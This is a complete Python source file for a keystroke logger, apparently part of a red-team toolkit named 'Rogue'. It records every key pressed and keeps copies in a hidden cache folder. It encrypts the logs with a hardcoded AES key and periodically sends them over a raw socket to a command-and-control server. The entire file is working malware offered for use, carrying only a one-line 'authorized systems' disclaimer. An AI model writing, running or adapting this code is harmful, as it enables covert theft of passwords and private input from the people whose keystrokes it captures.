Rogue/keylogger.py
2026-05-31 04:12:28 +00:00

163 lines
5.5 KiB
Python

#!/usr/bin/env python3
"""
PAYLOAD: Keystroke Logger
DESCRIPTION: Logs keystrokes and exfiltrates them to C2
AUTHOR: Rogue Red Team
VERSION: 2.0
SECURITY: This tool logs sensitive input - Use only on authorized systems
"""
import os, sys, time, json, threading, datetime, socket, base64, hashlib
from pynput import keyboard
from Cryptodome.Cipher import AES
class KeyLogger:
def __init__(self, exfil_interval=60, c2_host=None, c2_port=9091):
self.log = []
self.running = False
self.exfil_interval = exfil_interval
self.c2_host = c2_host or self.get_default_c2()
self.c2_port = c2_port
self.encryption_key = hashlib.sha256(b'RogueKeyLogger2024').digest()
self.output_dir = os.path.expanduser("~/.cache/.rogue/keylogs")
os.makedirs(self.output_dir, exist_ok=True)
def get_default_c2(self):
"""Get C2 host from environment or default"""
return os.environ.get('ROGUE_C2_HOST', 'localhost')
def on_press(self, key):
"""Callback for key press"""
try:
key_str = key.char
except AttributeError:
if key == keyboard.Key.space:
key_str = ' '
elif key == keyboard.Key.enter:
key_str = '\n'
elif key == keyboard.Key.tab:
key_str = '\t'
elif key == keyboard.Key.backspace:
key_str = '[BACKSPACE]'
elif key == keyboard.Key.esc:
key_str = '[ESC]'
else:
key_str = f'[{key.name}]'
timestamp = datetime.datetime.now().isoformat()
log_entry = {
"timestamp": timestamp,
"key": key_str,
"event": "press"
}
self.log.append(log_entry)
# Write to local file as backup
self.write_to_local(log_entry)
def write_to_local(self, entry):
"""Write log entry to local file"""
log_file = os.path.join(self.output_dir, f"keylog_{datetime.datetime.now().strftime('%Y%m%d')}.log")
with open(log_file, 'a') as f:
f.write(f"{entry['timestamp']} - {entry['key']}\n")
def encrypt_logs(self, data):
"""Encrypt log data for exfiltration"""
cipher = AES.new(self.encryption_key, AES.MODE_EAX)
ciphertext, tag = cipher.encrypt_and_digest(json.dumps(data).encode())
encrypted = cipher.nonce + tag + ciphertext
return base64.b64encode(encrypted).decode()
def exfil_logs(self):
"""Exfiltrate logs to C2 server"""
if not self.log:
return
# Take a copy of current logs and clear
logs_to_send = self.log.copy()
self.log.clear()
try:
encrypted_data = self.encrypt_logs(logs_to_send)
# Send to C2
s = socket.socket()
s.connect((self.c2_host, self.c2_port))
s.sendall(encrypted_data.encode())
s.close()
print(f"[+] Exfiltrated {len(logs_to_send)} keystrokes to {self.c2_host}:{self.c2_port}")
except Exception as e:
print(f"[!] Exfiltration failed: {e}")
# Restore logs if exfiltration failed
self.log = logs_to_send + self.log
def start_exfiltration_thread(self):
"""Start thread for periodic exfiltration"""
def exfil_loop():
while self.running:
time.sleep(self.exfil_interval)
self.exfil_logs()
thread = threading.Thread(target=exfil_loop, daemon=True)
thread.start()
def start(self):
"""Start the keylogger"""
print(f"[+] Starting keylogger. Exfiltration to {self.c2_host}:{self.c2_port} every {self.exfil_interval}s")
print(f"[+] Local logs stored in: {self.output_dir}")
print("[+] Press Ctrl+C to stop")
self.running = True
self.start_exfiltration_thread()
try:
with keyboard.Listener(on_press=self.on_press) as listener:
listener.join()
except KeyboardInterrupt:
print("[+] Stopping keylogger...")
finally:
self.stop()
def stop(self):
"""Stop the keylogger"""
self.running = False
# Final exfiltration
self.exfil_logs()
print("[+] Keylogger stopped")
def rogue_integration():
"""Wrapper for Rogue C2 integration"""
import argparse
parser = argparse.ArgumentParser(description='Rogue Keylogger')
parser.add_argument('--interval', type=int, default=60, help='Exfiltration interval in seconds')
parser.add_argument('--c2-host', help='C2 server hostname')
parser.add_argument('--c2-port', type=int, default=9091, help='C2 server port')
args, unknown = parser.parse_known_args()
# Check if we're being called from Rogue with arguments
if len(sys.argv) > 1 and sys.argv[1] == '--rogue-integration':
# Parse Rogue-style arguments
args.interval = 60
args.c2_host = None
keylogger = KeyLogger(
exfil_interval=args.interval,
c2_host=args.c2_host,
c2_port=args.c2_port
)
try:
keylogger.start()
return "[+] Keylogger started successfully"
except Exception as e:
return f"[!] Keylogger failed to start: {e}"
if __name__ == "__main__":
# When run directly, start the keylogger
keylogger = KeyLogger()
keylogger.start()